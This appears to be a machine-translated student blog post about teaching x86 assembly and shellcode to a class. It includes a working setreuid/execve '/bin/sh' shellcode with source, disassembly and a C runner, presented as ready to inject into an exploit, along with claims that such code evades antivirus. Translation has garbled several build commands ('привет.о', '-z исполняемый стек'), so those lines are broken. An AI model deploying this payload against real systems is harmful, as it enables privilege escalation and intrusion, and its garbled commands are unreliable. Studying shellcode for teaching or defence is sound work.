Сборка x86 и шелл-код

Первым делом в моем выступлении будет обзор регистров.

Пока я многое узнал о машинном коде, я решил сделать шаг вперед. Я покажу классу пример, а затем снова объясню его снизу вверх.

 .text
_start:
jmp message
proc:
xor eax, eax
mov al, 0x04
xor ebx, ebx
mov bl, 0x01
pop ecx
xor edx, edx
mov dl, 0x16
int 0x80
xor eax, eax
mov al, 0x01
xor ebx, ebx
mov bl, 0x01 ; return 1
int 0x80
message:
call proc
msg db “ y0u sp34k 1337 ? “
section .data

nasm -felf -g hello.asm

ld -melf_i386 -g привет.о

./a.out

objdump -D hello.o
#include <stdio.h>
char shellcode[] = “\xeb\x19\x31\xc0\xb0\x04\x31\xdb”
“\xb3\x01\x59\x31\xd2\xb2\x12\xcd”
“\x80\x31\xc0\xb0\x01\x31\xdb\xb3”
“\x01\xcd\x80\xe8\xe2\xff\xff\xff”
“\x20\x79\x30\x75\x20\x73\x70\x33”
“\x34\x6b\x20\x31\x33\x33\x37\x20”
“\x3f\x20”;
int main(int argc, char **argv) {
(*(void(*)())shellcode)();
return 0;
}

gcc main.c -o main -z исполняемый стек

./главный

https://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-2-removing-null-bytes-0161591/

https://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-1-beginner-assembly-0161593/

https://stackoverflow.com/questions/15593214/linux-shellcode-hello-world

http://www.vividmachines.com/shellcode/shellcode.html

Это шестнадцатеричный код, машинный код работает с системным оборудованием, а процессор работает с шестнадцатеричным кодом. Это 32-битный линукс кали. Этот блог о том, как я собираюсь представить этот материал классу. В своей первой презентации я показал вам, ребята, регистры и инструкции машинного кода. Я давно читал о системных вызовах и инструкциях, и я не уверен, как именно преподавать это в классе. Однако эта презентация была предназначена только для того, чтобы пробудить ваш мозг. Я перешел от отдельной сборки x86. Это введение в то, как работает шестнадцатеричный код.

Я собираюсь показать классу лайфхак. По сути, я могу разблокировать вашу операционную систему Linux с помощью программы сборки и шелл-кода. Эксплойт получает доступ к каталогу #, что позволяет мне делать что угодно.

;shellex.asm
[SECTION .text]
global _start
_start:
xor eax, eax
mov al, 70 ;setreuid is syscall 70
xor ebx, ebx
xor ecx, ecx
int 0x80
jmp short ender
starter:
pop ebx ;get the address of the string
xor eax, eax
mov [ebx+7 ], al ;put a NULL where the N is in the string
mov [ebx+8 ], ebx ;put the address of the string to where the
;AAAA is
mov [ebx+12], eax ;put 4 null bytes into where the BBBB is
mov al, 11 ;execve is syscall 11
lea ecx, [ebx+8] ;load the address of where the AAAA was
lea edx, [ebx+12] ;load the address of the NULLS
int 0x80 ;call the kernel, WE HAVE A SHELL!
ender:
call starter
db ‘/bin/shNAAAABBBB’
steve hanna@1337b0x:~$ nasm -f elf shellex.asm
steve hanna@1337b0x:~$ ld -o shellex shellex.o
steve hanna@1337b0x:~$ objdump -d shellex
shellex:     file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080:       31 c0                   xor    %eax,%eax
8048082:       b0 46                   mov    $0x46,%al
8048084:       31 db                   xor    %ebx,%ebx
8048086:       31 c9                   xor    %ecx,%ecx
8048088:       cd 80                   int    $0x80
804808a:       eb 16                   jmp    80480a2
0804808c :
804808c:       5b                      pop    %ebx
804808d:       31 c0                   xor    %eax,%eax
804808f:       88 43 07                mov    %al,0x7(%ebx)
8048092:       89 5b 08                mov    %ebx,0x8(%ebx)
8048095:       89 43 0c                mov    %eax,0xc(%ebx)
8048098:       b0 0b                   mov    $0xb,%al
804809a:       8d 4b 08                lea    0x8(%ebx),%ecx
804809d:       8d 53 0c                lea    0xc(%ebx),%edx
80480a0:       cd 80                   int    $0x80
080480a2 :
80480a2:       e8 e5 ff ff ff          call   804808c
80480a7:       2f                      das
80480a8:       62 69 6e                bound  %ebp,0x6e(%ecx)
80480ab:       2f                      das
80480ac:       73 68                   jae    8048116
80480ae:       58                      pop    %eax
80480af:       41                      inc    %ecx
80480b0:       41                      inc    %ecx
80480b1:       41                      inc    %ecx
80480b2:       41                      inc    %ecx
80480b3:       42                      inc    %edx
80480b4:       42                      inc    %edx
80480b5:       42                      inc    %edx
80480b6:       42                      inc    %edx
Replace the code at the top with:
char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";
This code produces a fully functional shell when injected into an exploit
and demonstrates most of the skills needed to write successful shellcode. Be
aware though, the better one is at assembly, the more functional, robust,
and most of all evil, one's code will be.

Это моя цель показать вам хак. Стив Ханна создал веб-сайт, на который я дал ссылку выше, и он прекрасен. Этот учебник излагает это чисто. Единственное, что мне нужно было сделать, это выяснить, что это 32-битная сборка, и как создать программу на C, которая выполняет шестнадцатеричный код. Я перечислил команды, которые я получил из нескольких руководств. В этой презентации я пытаюсь развлечься с классом и заставить их хоть что-то взять с собой.

Жолт спросил меня, почему сборка x86 является новой тенденцией, потому что мы сейчас занимаемся безопасностью с Аароном. Никаких аргументов не требуется, это взлом. Печатный шелл-код пройдет через любой антивирус. Я не хочу идти дальше, потому что я не верю в разрушение или воровство. Моя цель - показать вам, что никому нельзя доверять. Ты не знаешь того, что знает кто-то, возьмем, к примеру, Ника, не доверяй этому парню. Шутя! Хотя он может взломать.